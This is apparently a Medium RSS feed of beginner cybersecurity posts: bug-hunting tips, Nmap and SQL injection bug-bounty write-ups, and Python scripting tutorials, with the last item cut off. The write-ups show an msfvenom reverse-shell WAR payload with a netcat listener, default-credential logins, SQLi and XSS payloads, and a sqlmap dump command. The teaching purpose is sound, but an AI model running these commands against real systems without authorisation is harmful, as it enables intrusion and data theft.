<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mohammed Gabic on Medium]]></title>
        <description><![CDATA[Stories by Mohammed Gabic on Medium]]></description>
        <link>https://medium.com/@cybersecprof?source=rss-6890a37eb47d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eMdrdLUbzpBlIjqOYc0kSA.jpeg</url>
            <title>Stories by Mohammed Gabic on Medium</title>
            <link>https://medium.com/@cybersecprof?source=rss-6890a37eb47d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 08:49:30 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cybersecprof/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ The Fastest Way to Find a Bug in a Website (With Real Examples)]]></title>
            <link>https://medium.com/@cybersecprof/the-fastest-way-to-find-a-bug-in-a-website-with-real-examples-6afd5a83d5b3?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/6afd5a83d5b3</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Tue, 26 Aug 2025 14:09:32 GMT</pubDate>
            <atom:updated>2025-08-26T14:09:32.660Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f3Pc7-gf5c1kdTFDAK6Bzw.jpeg" /></figure><p>If you’re new to ethical hacking or bug bounty hunting, you’ve probably wondered:</p><blockquote>“Where do I even start when I’m looking for a bug in a website?”</blockquote><p>The truth is, you don’t need to be an elite hacker to find your <strong>first vulnerability</strong>. What you need is a smart, repeatable process — and the right places to look.</p><p>Let me walk you through <strong>the fastest way to find a bug in a website</strong>, with examples anyone can try.</p><h3>🧭 Step 1: Find Inputs (Places Where You Can Type Stuff)</h3><p><strong>Why?</strong> Most bugs happen when a website lets you submit or change data.</p><p>So, start by looking for pages where you can:</p><ul><li>Search for something</li><li>Submit a contact form</li><li>Upload a file</li><li>Click a link with ?id=123 in the URL</li></ul><h3>✅ Example:</h3><p>Visit a demo website like:<br> 📎 <a href="https://testphp.vulnweb.com/">https://testphp.vulnweb.com</a></p><p>Click around, and look at the URL when you click on things:</p><pre>https://testphp.vulnweb.com/artists.php?artist=1</pre><p>You’ve found a <strong>parameter</strong>: artist=1.</p><p>This is something you can test.</p><p><strong>LEARN ETHICAL HACKING AND PENETRATION TESTING FROM SCRATCH</strong> <a href="https://cybervolt.cfd/labs/"><strong>CLICK HERE</strong></a><strong> TO ENROLL</strong>: <a href="https://cybervolt.cfd/labs/">https://cybervolt.cfd/labs/</a></p><figure><a href="https://cybervolt.cfd/labs/"><img alt="" src="https://cdn-images-1.medium.com/max/700/0*GtIoynhvBiABzYC9.jpeg" /></a><figcaption><a href="https://cybervolt.cfd/labs/">https://cybervolt.cfd/labs/</a></figcaption></figure><h3>🔍 Step 2: Try Simple Payloads</h3><p>Now that you’ve found an input (artist=1), try putting weird stuff in there to see how the site reacts.</p><h3>🔥 Try This:</h3><p>Change artist=1 to:</p><pre>artist=1&#39;</pre><p>Does the page break or show an error like:</p><pre>You have an error in your SQL syntax</pre><p>If yes, that could be an <strong>SQL Injection</strong> vulnerability!</p><p>Try another one:</p><pre>artist=&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>If a popup appears, boom 💥 — you just found <strong>XSS</strong> (Cross-Site Scripting).</p><h3>🗂 Step 3: Check for Hidden Files or Folders</h3><p>A lot of bugs are hiding in plain sight — like old files or admin panels that shouldn’t be exposed.</p><h3>✅ Tools to try:</h3><p>Use a tool like <a href="https://github.com/ffuf/ffuf">ffuf</a> (command-line) or <a href="https://hackertarget.com/">https://hackertarget.com</a> (web version) to brute force folders.</p><h3>🔥 Example with ffuf:</h3><pre>ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><p>This might reveal:</p><pre>/admin (Status: 200)<br>/backup.zip (Status: 200)<br>/old-site/ (Status: 200)</pre><p>Now check those! If /admin is unprotected, or /backup.zip contains sensitive files, you’ve found something important.</p><h3>🕵️ Step 4: Read the JavaScript</h3><p>Many beginners skip this part — but websites often “leak” secrets in JavaScript files.</p><p>Here’s how to check:</p><ol><li>Open DevTools (Right click → Inspect → Network → JS)</li><li>Look at files like main.js, config.js, etc.</li></ol><h3>🔥 Look for:</h3><ul><li>API URLs</li><li>Secret keys</li><li>Hidden admin routes</li></ul><h3>Example:</h3><p>You might find something like:</p><pre>fetch(&quot;https://api.example.com/admin/deleteUser?token=1234abcd&quot;)</pre><p>Now you know there’s an <strong>admin-only</strong> API endpoint you can test.</p><h3>📄 Step 5: Try Changing Parameters (IDOR)</h3><p>IDOR = Insecure Direct Object Reference<br> (<em>It’s just a fancy way of saying you can access other people’s data by changing an ID in the URL.</em>)</p><h3>✅ Example:</h3><pre>https://example.com/profile?user=1001</pre><p>Try changing user=1001 to user=1002</p><p>If you suddenly see <strong>someone else’s profile</strong> — you’ve just found an <strong>IDOR bug</strong>.</p><h3>⚡ Fast Bug-Hunting Tips for Beginners</h3><ul><li>Use <strong>Burp Suite Community Edition</strong> (free!) to intercept and modify requests</li><li>Start with <strong>demo sites</strong> like:</li><li><a href="https://vulnweb.com/">https://vulnweb.com</a></li><li><a href="https://juice-shop.herokuapp.com/">https://juice-shop.herokuapp.com</a></li><li>Focus on <strong>simple bugs</strong> first: XSS, SQLi, IDOR, open directories</li></ul><h3>🧠 Real Talk: You Don’t Need to Be a Genius</h3><p>Every hacker, even the pros, started by:</p><ul><li>Poking URLs</li><li>Typing in weird inputs</li><li>Breaking stuff (on legal targets)</li></ul><p>The key is to <strong>practice</strong>, learn from each site, and get faster over time.</p><h3>💬 Ready to Try?</h3><p>Try testing one of these today:</p><pre>https://testphp.vulnweb.com/listproducts.php?cat=1</pre><p>Can you make it break?<br> Can you find something weird in the JavaScript?</p><p>Let me know in the comments if you find anything 👇</p><p><strong>Follow me for more beginner-friendly hacking guides, bug bounty tips, and hands-on tutorials.</strong> 🧑‍💻</p><p>#bugbounty #websecurity #ethicalhacking #infosec #xss #sqlinjection #osint #beginnerfriendly</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6afd5a83d5b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ How Nmap $4,000 Helped Me Earn in a Single Bug Bounty — Full Recon Walkthrough]]></title>
            <link>https://medium.com/@cybersecprof/how-nmap-4-000-helped-me-earn-in-a-single-bug-bounty-full-recon-walkthrough-49c3f9709cee?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/49c3f9709cee</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Thu, 07 Aug 2025 05:14:09 GMT</pubDate>
            <atom:updated>2025-08-07T05:14:09.045Z</atom:updated>
            <content:encoded><![CDATA[<h3>💣 How Nmap Helped Me Earn $4,000 in a Single Bug Bounty — Full Recon Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*RHoHmjNsPmJ2DPsrZh5EIA.jpeg" /></figure><blockquote>“It started with just a basic Nmap scan…”</blockquote><p>When people talk about powerful recon tools, <strong>Nmap</strong> doesn’t always get the hype it deserves in the modern bug bounty scene — but this tool <strong>single-handedly led me to a $4,000 bounty</strong>. This write-up is for everyone who thinks “Nmap is just for port scanning.” Trust me, it’s much more than that.</p><h3>🎯 Target Scope</h3><p>The target was a <strong>multinational tech company</strong> with a broad attack surface. It included:</p><ul><li>A staging subdomain: staging-api.target.com</li><li>Allowed <strong>active scanning</strong> and <strong>authenticated testing</strong></li></ul><p>I decided to start from scratch — no passive tools, just raw scanning using <strong>Nmap</strong>.</p><h3>🔍 Step 1: Discovering Open Ports</h3><p>I ran a basic port scan with service detection:</p><pre>nmap -sV -Pn staging-api.target.com</pre><h3>Output:</h3><pre>PORT     STATE SERVICE       VERSION<br>22/tcp   open  ssh           OpenSSH 7.4<br>80/tcp   open  http          nginx 1.14.0<br>443/tcp  open  https         nginx 1.14.0<br>3306/tcp open  mysql         MySQL 5.7.23<br>8080/tcp open  http-proxy    Apache Tomcat/Coyote JSP engine 1.1</pre><p><strong>Port 8080 immediately caught my attention.</strong> It’s often used for internal services, admin panels, or outdated APIs.</p><p><strong>LEARN ETHICAL HACKING AND PENETRATION TESTING FROM SCRATCH</strong> : <a href="https://www.udemy.com/course/learn-cyber-security-from-scratch-no-coding-experience/">https://www.udemy.com/course/learn-cyber-security-from-scratch-no-coding-experience/</a></p><figure><a href="https://www.udemy.com/course/learn-cyber-security-from-scratch-no-coding-experience/"><img alt="" src="https://cdn-images-1.medium.com/max/700/0*iJDBf134IJd7hniu.jpeg" /></a></figure><h3>🧠 Step 2: Targeting Port 8080</h3><p>I navigated to:</p><pre>http://staging-api.target.com:8080</pre><p>Boom. It loaded an unprotected <strong>Apache Tomcat Manager UI</strong>.</p><p>It prompted for login. Instead of brute-forcing, I went back to Nmap to do a version/script scan:</p><pre>nmap -p 8080 --script=http-auth,http-title -sV staging-api.target.com</pre><h3>Output:</h3><pre>http-auth: HTTP basic authentication<br>http-title: Apache Tomcat/7.0.88 - Manager Application</pre><p>So we had:</p><ul><li>Tomcat 7.0.88 (outdated)</li><li>Exposed manager interface</li><li>Basic Auth enabled</li></ul><h3>🔓 Step 3: Default Credentials</h3><p>Just for testing, I tried:</p><ul><li>tomcat:tomcat</li><li>admin:admin</li><li>admin:password</li></ul><p>Third one worked.</p><p>I was inside.</p><h3>🚨 Step 4: Reverse Shell Upload</h3><p>The Apache Tomcat Manager lets you deploy .war files.</p><p>So I used <strong>msfvenom</strong> to generate a WAR payload:</p><pre>msfvenom -p java/jsp_shell_reverse_tcp LHOST=myip LPORT=4444 -f war &gt; shell.war</pre><p>I uploaded shell.war through the manager and set up a listener on my machine:</p><pre>nc -lvnp 4444</pre><p>Once I visited the uploaded WAR path, I caught a <strong>reverse shell</strong>!</p><h3>🔐 Step 5: Gaining More Access</h3><p>The Tomcat instance had file access to /var/www/html/, which exposed:</p><ul><li>.env file</li><li>AWS credentials</li><li>Database connection strings</li></ul><p>I <strong>immediately stopped there</strong>, zipped a sanitized PoC, and moved to reporting. No data was exfiltrated.</p><h3>📝 Step 6: Reporting the Vulnerability</h3><p>My report included:</p><ul><li>Open ports from Nmap</li><li>Version detection logs</li><li>Credentials used</li><li>Screenshots of access</li><li>Reverse shell PoC (no lateral movement)</li></ul><p>Suggested remediation: firewall rules, credential rotation, upgrade Tomcat, disable manager UI in staging</p><h3>💰 Step 7: Reward</h3><p>Three days later:</p><blockquote><em>“Thank you for your professional report. We have validated the RCE and issued a </em><strong><em>$4,000 bounty</em></strong><em>.”</em></blockquote><h3>🧰 Tools Used</h3><p>Task Tool Used Port scanning Nmap (-sV -p) Web service analysis Nmap NSE scripts Shell creation Msfvenom Listener Netcat (nc) Reporting Markdown + Screenshots</p><h3>🚀 Key Lessons</h3><ul><li><strong>Don’t underestimate Nmap</strong> — It’s not just for ports; the service detection and NSE scripts are gold.</li><li><strong>Version matters.</strong> Outdated software often leads to goldmines.</li><li><strong>Credential testing</strong> is sometimes all it takes.</li><li><strong>Tomcat is often misconfigured</strong> — Especially in staging.</li></ul><h3>🧠 Final Thoughts</h3><p>People think you need bleeding-edge tools and zero-days to earn big in bug bounty. In this case, <strong>basic enumeration and good instincts</strong> led to a serious Remote Code Execution bug.</p><p>So next time you launch Nmap, remember: <strong>It might just lead to your next $4K.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49c3f9709cee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ How I Found a SQL Injection on an E-Commerce Platform — Step-by-Step Bug Bounty Guide]]></title>
            <link>https://medium.com/@cybersecprof/how-i-found-a-sql-injection-on-an-e-commerce-platform-step-by-step-bug-bounty-guide-d9fa3a705b9b?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9fa3a705b9b</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Thu, 07 Aug 2025 05:05:19 GMT</pubDate>
            <atom:updated>2025-08-07T05:05:19.434Z</atom:updated>
            <content:encoded><![CDATA[<h3>🛒 How I Found a SQL Injection on an E-Commerce Platform — Step-by-Step Bug Bounty Guide</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mAqQpAITGaRWr-42mrykEA.jpeg" /></figure><blockquote>“SQLi is old, but it’s not dead.”</blockquote><p>SQL injection remains one of the most critical vulnerabilities affecting web applications, especially platforms that deal with <strong>user inputs and databases</strong> — like e-commerce sites.</p><p>In this post, I’ll show you how I discovered a <strong>SQLi vulnerability</strong> on a live e-commerce platform and responsibly disclosed it for a solid bounty.</p><h3>🎯 Step 1: Picking the Target</h3><p>The program was a <strong>private e-commerce bug bounty</strong> that accepted <strong>authenticated testing</strong> and allowed testing on staging and production environments.</p><p>I created a <strong>buyer account</strong> and started exploring:</p><ul><li>Product pages</li><li>Search features</li><li>Cart system</li><li>Order history</li><li>Review submission</li></ul><p>I kept <strong>Burp Suite</strong> running the entire time, intercepting every request.</p><h3>🔍 Step 2: Finding Input Points</h3><p>I was particularly curious about the <strong>search functionality</strong>, which sent a GET request like this:</p><pre>GET /search?query=shoes</pre><p>This kind of input is a classic target for injection. I sent the request to <strong>Burp Repeater</strong> and started testing payloads.</p><h3>⚔️ Step 3: Initial Payload Testing</h3><p>I started with some basic test characters:</p><pre>shoes&#39;<br>shoes&quot;<br>shoes--<br>shoes/*</pre><p>And immediately got a 500 error with:</p><pre>SQL syntax error near &#39;shoes&#39;&#39;</pre><p>That was my first red flag. I was likely dealing with <strong>unsanitized input directly passed to a SQL query</strong>.</p><h3>🧪 Step 4: Confirming Injection</h3><p>Next, I tried a time-based payload:</p><pre>shoes&#39; OR SLEEP(5)--</pre><p>The page <strong>took ~5 seconds to load</strong>, confirming a <strong>blind SQL injection</strong>.</p><p>To be sure, I tried:</p><pre>shoes&#39; AND 1=1--<br>shoes&#39; AND 1=2--</pre><p>The first returned normal results, the second returned nothing. Clear <strong>Boolean-based SQLi</strong> confirmation.</p><p><strong>LEARN ETHICAL HACKING AND PENETRATION TESTING FROM SCRATCH</strong> : <a href="https://www.udemy.com/course/learn-cyber-security-from-scratch-no-coding-experience/">https://www.udemy.com/course/learn-cyber-security-from-scratch-no-coding-experience/</a></p><figure><a href="https://www.udemy.com/course/learn-cyber-security-from-scratch-no-coding-experience/"><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ax1CNFeRZKrHVvhy.jpeg" /></a></figure><h3>🗺️ Step 5: Mapping the DB</h3><p>I used sqlmap to automate and avoid blind testing by hand. Here’s what I did:</p><pre>sqlmap -u &quot;https://ecommerce.com/search?query=shoes&quot; --cookie=&quot;session=abc123&quot; --level=3 --risk=3 --dump</pre><p>Within minutes, sqlmap revealed:</p><ul><li><strong>DBMS:</strong> MySQL 5.x</li><li><strong>Database name:</strong> ecomm_prod</li><li><strong>Tables dumped:</strong> users, products, orders, payments</li></ul><p>I stopped right there — <strong>no sensitive data was accessed or exfiltrated.</strong></p><h3>📄 Step 6: Writing the Report</h3><p>My report included:</p><ul><li>Vulnerable parameter (query)</li><li>Proof of concept with payloads</li><li>sqlmap output (limited to table names only)</li><li>Impact: Possible user data leak, full DB compromise</li><li>Suggested fix: Use parameterized queries, input sanitization, and WAF protection</li></ul><p>I also submitted a short <strong>video PoC</strong> with Burp logs.</p><h3>💰 Step 7: The Reward</h3><p>Within 3 days, I received this message:</p><blockquote><em>“Thank you for the detailed report. We’ve validated the SQL injection and have issued a bounty of </em><strong><em>$1,200</em></strong><em>.”</em></blockquote><p>The vulnerable endpoint was fixed 48 hours later.</p><h3>🧰 Tools I Used</h3><p>Task Tool Request Intercept Burp Suite Payload Testing Manual / Repeater Automated Exploit sqlmap Scope Management Bug bounty platform notes Reporting Markdown + Video</p><h3>🧠 Key Lessons</h3><ul><li><strong>Never trust inputs.</strong> Even public-facing search bars can be vulnerable.</li><li><strong>Start simple.</strong> &#39; and -- are your friends.</li><li><strong>Ethical rules matter.</strong> Validate the bug, <strong>don’t exfiltrate real user data</strong>.</li><li><strong>SQLi still pays.</strong> Don’t overlook it thinking it’s outdated.</li></ul><h3>🛡️ Final Thoughts</h3><p>This SQLi wasn’t in a dark corner of an admin panel — it was in a <strong>public search function used by every customer daily</strong>. That’s what made it dangerous.</p><p>Always test the basics. Keep your skills sharp. And remember: <strong>With great power comes responsible disclosure.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9fa3a705b9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Working with System Commands Using the subprocess Module — Python in Cybersecurity]]></title>
            <link>https://medium.com/@cybersecprof/working-with-system-commands-using-the-subprocess-module-python-in-cybersecurity-ab5d2e1155c9?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ab5d2e1155c9</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 21:31:41 GMT</pubDate>
            <atom:updated>2025-07-27T21:31:41.766Z</atom:updated>
            <content:encoded><![CDATA[<h3>Working with System Commands Using the subprocess Module — Python in Cybersecurity</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7m6ASG7Qy_FeS2MYYIqleg.jpeg" /></figure><p>Running system commands in Python lets you automate terminal-based tasks like pinging a server, scanning ports with Nmap, checking network connections, and more. This is especially powerful in <strong>cybersecurity scripting</strong>, where command-line tools are essential.</p><h3>🧰 Why Use subprocess?</h3><p>Python’s subprocess module allows your script to:</p><ul><li>Run system-level tools (like ping, nmap, netstat)</li><li>Capture their output for analysis</li><li>Handle errors if commands fail</li><li>Chain external tool results into Python logic</li></ul><h3>🔹 Basic Usage</h3><h3>🧪 Example 1: Run a simple ping command</h3><pre>import subprocess</pre><pre>result = subprocess.run([&quot;ping&quot;, &quot;-c&quot;, &quot;2&quot;, &quot;google.com&quot;], capture_output=True, text=True)</pre><pre>print(&quot;Output:n&quot;, result.stdout)</pre><blockquote><em>✅ </em><em>capture_output=True saves the command output<br>✅ </em><em>text=True returns it as a string, not bytes</em></blockquote><h3>🔹 Check If a Command Fails</h3><pre>if result.returncode != 0:<br>    print(&quot;❌ Command failed to run properly!&quot;)</pre><h3>🔹 Example 2: Scan an IP using Nmap</h3><pre>target = &quot;192.168.1.1&quot;</pre><pre>result = subprocess.run([&quot;nmap&quot;, &quot;-sS&quot;, target], capture_output=True, text=True)</pre><pre>print(&quot;Nmap Output:n&quot;, result.stdout)</pre><blockquote><em>✅ You can now parse </em><em>result.stdout for open ports or services</em></blockquote><h3>🔹 Example 3: Use netstat and search for active connections</h3><pre>result = subprocess.run([&quot;netstat&quot;, &quot;-tunap&quot;], capture_output=True, text=True)</pre><pre>for line in result.stdout.splitlines():<br>    if &quot;ESTABLISHED&quot; in line:<br>        print(&quot;🔗 Connection:&quot;, line)</pre><h3>🔹 Writing Output to a File</h3><pre>with open(&quot;scan_results.txt&quot;, &quot;w&quot;) as file:<br>    file.write(result.stdout)</pre><h3>🛡️ Security Tip</h3><p>Avoid using shell=True unless necessary — it can expose your script to command injection risks. Prefer list-style arguments as shown.</p><h3>✅ Practice Tasks</h3><ol><li>Ask the user for a domain and ping it using Python.</li><li>Run an nmap scan on a local IP and print the open ports.</li><li>Use netstat to check if port 22 (SSH) is active.</li><li>Write the output of any command to a log file.</li><li>Handle errors — what if nmap isn’t installed?</li></ol><h3>🔄 Summary Table</h3><p>Feature Benefit</p><p>subprocess.run()Run commands safely</p><p>capture_output=TrueCapture output to use in Python</p><p>result.returncodeCheck if the command failed</p><p>.stdout /</p><p>.stderrRead output and errors</p><p>text=TrueGet readable string output</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab5d2e1155c9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build Practical Python Scripts for Cybersecurity]]></title>
            <link>https://medium.com/@cybersecprof/build-practical-python-scripts-for-cybersecurity-3154abc25cbb?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3154abc25cbb</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[ethical-hacking-training]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 21:25:33 GMT</pubDate>
            <atom:updated>2025-07-27T21:25:33.720Z</atom:updated>
            <content:encoded><![CDATA[<h4>Build Practical Python Scripts for Cybersecurity</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YeRAiGDum2jAvl7AFIGOrg.jpeg" /></figure><h3>👨‍💻 Why This Matters</h3><p>By now, you’ve learned:</p><ul><li>✅ How to <strong>read/write</strong> files</li><li>✅ Use <strong>if statements</strong> (conditions)</li><li>✅ Write <strong>for loops</strong> to scan through data</li><li>✅ Handle <strong>errors</strong> without crashing your scripts</li></ul><p>Now let’s <strong>combine them all</strong> to build <strong>real automation scripts</strong> — the kind you’ll actually use in penetration testing, monitoring, and log analysis.</p><h3>🛠️ Use Case: Detect Suspicious Activity in Logs</h3><h3>Let’s imagine you have a log file: server.log</h3><pre>User login success<br>User login failed<br>User login failed<br>Blocked IP: 10.0.0.5<br>Error: Invalid password<br>User login failed</pre><p>Let’s write a script to:</p><ul><li>Read the log file</li><li>Detect lines with failed, error, or blocked</li><li>Save those suspicious lines into a separate file called alerts.log</li></ul><h3>🧑‍💻 Full Python Script (with explanations)</h3><pre># Step 1: Open log file to read and output file to write<br>try:<br>    with open(&quot;server.log&quot;, &quot;r&quot;) as infile, open(&quot;alerts.log&quot;, &quot;w&quot;) as outfile:<br>        <br>        # Step 2: Loop through each line in the log file<br>        for line in infile:<br>            # Step 3: Check for suspicious keywords<br>            if &quot;failed&quot; in line.lower() or &quot;error&quot; in line.lower() or &quot;blocked&quot; in line.lower():<br>                outfile.write(line)  # Write to alerts file<br>                print(&quot;🚨 Suspicious activity found:&quot;, line.strip())</pre><pre>except FileNotFoundError:<br>    print(&quot;⚠️ Log file not found. Make sure &#39;server.log&#39; exists.&quot;)</pre><h3>🔍 What This Script Does:</h3><p>Python FeatureRole in Automationfor line in infile:Loops through each line in the fileif ... in line:Filters based on suspicious keywordsoutfile.write()Saves matching lines for further reviewtry/exceptAvoids crashes if the file is missing</p><h3>🧪 Practice Task 1: Count Failed Logins</h3><p>Create a script that:</p><ul><li>Reads auth.log</li><li>Counts how many times &quot;login failed&quot; appears</li><li>Prints the total count</li></ul><pre>count = 0</pre><pre>with open(&quot;auth.log&quot;, &quot;r&quot;) as file:<br>    for line in file:<br>        if &quot;login failed&quot; in line.lower():<br>            count += 1</pre><pre>print(f&quot;Total failed logins: {count}&quot;)</pre><h3>🧪 Practice Task 2: IP Watchlist Scanner</h3><p>You have:</p><ul><li>blocked_ips.txt — list of suspicious IPs</li><li>access.log — file with IP-based traffic</li></ul><p>Scan access.log and print any matching IPs:</p><pre>with open(&quot;blocked_ips.txt&quot;) as ipfile:<br>    watchlist = [ip.strip() for ip in ipfile]</pre><pre>with open(&quot;access.log&quot;) as logfile:<br>    for line in logfile:<br>        for ip in watchlist:<br>            if ip in line:<br>                print(f&quot;🚫 Alert! Blocked IP detected: {ip}&quot;)</pre><h3>🛡️ Real-World Cybersecurity Use Cases</h3><p>TaskYou Can Automate It WithFind brute force attacksLoop through auth logsSave error messages from toolsFilter and write to fileMonitor blocked IPs in trafficCompare IP listsAlert on failed privilege escalationsDetect “permission denied”</p><h3>💬 Try It Yourself!</h3><p>Pick one of these mini-projects:</p><ol><li><strong>404 Scanner</strong> — Scan web logs for repeated 404 Not Found errors</li><li><strong>Malicious User Detection</strong> — Flag any line with &quot;root&quot; + &quot;failed&quot;</li><li><strong>Daily Report Generator</strong> — Save all error logs to a dated file like report_2025-07-22.txt</li></ol><h3>📌 Summary</h3><p>Combining <strong>loops</strong>, <strong>conditions</strong>, and <strong>files</strong> allows you to:</p><ul><li>💡 Turn boring manual checks into smart automation</li><li>🧠 Focus on real threats — not log scrolling</li><li>🔐 Catch early indicators of attacks</li><li>📄 Create custom reports and alerts for your team</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3154abc25cbb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Error Handling with Python in Cybersecurity Making Your Scripts More Reliable and Secure]]></title>
            <link>https://medium.com/@cybersecprof/error-handling-with-python-in-cybersecurity-making-your-scripts-more-reliable-and-secure-4953162abee2?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4953162abee2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[python-programming]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 21:17:51 GMT</pubDate>
            <atom:updated>2025-07-27T21:17:51.484Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="Why You Need Error Handling in Cybersecurity When you’re working with logs, files, user input, or network data, things often go wrong: Files might not exist Data could be incomplete A user could enter wrong info A tool might crash mid-script Without error handling, your script will just crash and stop — not good during a pen test or incident response! That’s where Python’s error handling comes in — especially using the try and except blocks." src="https://cdn-images-1.medium.com/max/686/1*x1jdzdRjYCDPWZW4zeyxQA.jpeg" /></figure><h4>Why You Need Error Handling in Cybersecurity</h4><p>When you’re working with <strong>logs</strong>, <strong>files</strong>, <strong>user input</strong>, or <strong>network data</strong>, things often <strong>go wrong</strong>:</p><ul><li>Files might not exist</li><li>Data could be incomplete</li><li>A user could enter wrong info</li><li>A tool might crash mid-script</li></ul><p>Without error handling, your script will just <strong>crash and stop</strong> — not good during a pen test or incident response!</p><p>That’s where Python’s <strong>error handling</strong> comes in — especially using the try and except blocks.</p><h3>🧱 Basic Structure of Error Handling</h3><pre>try:<br>    # code that might cause an error<br>except SomeError:<br>    # what to do if that error happens</pre><h3>🔍 Real-Life Example 1: Opening a File</h3><h3>❌ Without Error Handling:</h3><pre>file = open(&quot;logs.txt&quot;, &quot;r&quot;)</pre><p>If the file doesn’t exist, your script crashes with:</p><pre>FileNotFoundError: [Errno 2] No such file or directory: &#39;logs.txt&#39;</pre><h3>✅ With Error Handling:</h3><pre>try:<br>    file = open(&quot;logs.txt&quot;, &quot;r&quot;)<br>    print(&quot;File opened successfully.&quot;)<br>except FileNotFoundError:<br>    print(&quot;⚠️ Log file not found. Please check the file name.&quot;)</pre><blockquote><em>🔹 Now your script </em><strong><em>won’t crash</em></strong><em> — it’ll </em><strong><em>warn you gracefully.</em></strong></blockquote><h3>🧪 Example 2: Divide by Zero (e.g., in login attempts calculation)</h3><pre>try:<br>    total = 100<br>    attempts = 0<br>    result = total / attempts<br>except ZeroDivisionError:<br>    print(&quot;⚠️ Cannot divide by zero. Check your data.&quot;)</pre><h3>🔐 Example 3: Handle Multiple Errors</h3><pre>try:<br>    file = open(&quot;data.txt&quot;, &quot;r&quot;)<br>    data = file.read()<br>    number = int(data)<br>    print(&quot;Number is:&quot;, number)<br>except FileNotFoundError:<br>    print(&quot;File not found!&quot;)<br>except ValueError:<br>    print(&quot;File content is not a number!&quot;)</pre><h3>🛡️ Real Cybersecurity Use: Parsing Logs Safely</h3><p>Let’s say you’re parsing logs for IP addresses:</p><pre>log_lines = [&quot;User login from 192.168.1.10&quot;, None, &quot;Blocked IP: 10.0.0.1&quot;]</pre><pre>for line in log_lines:<br>    try:<br>        if &quot;192.&quot; in line:<br>            print(&quot;Trusted IP:&quot;, line)<br>    except TypeError:<br>        print(&quot;⚠️ Found an empty or broken log line. Skipping...&quot;)</pre><blockquote><em>✅ This prevents the script from </em><strong><em>crashing on bad data</em></strong><em>.</em></blockquote><h3>🚫 Avoid Generic except: (Best Practice)</h3><p>Instead of:</p><pre>except:<br>    print(&quot;Something went wrong.&quot;)</pre><p>Use specific 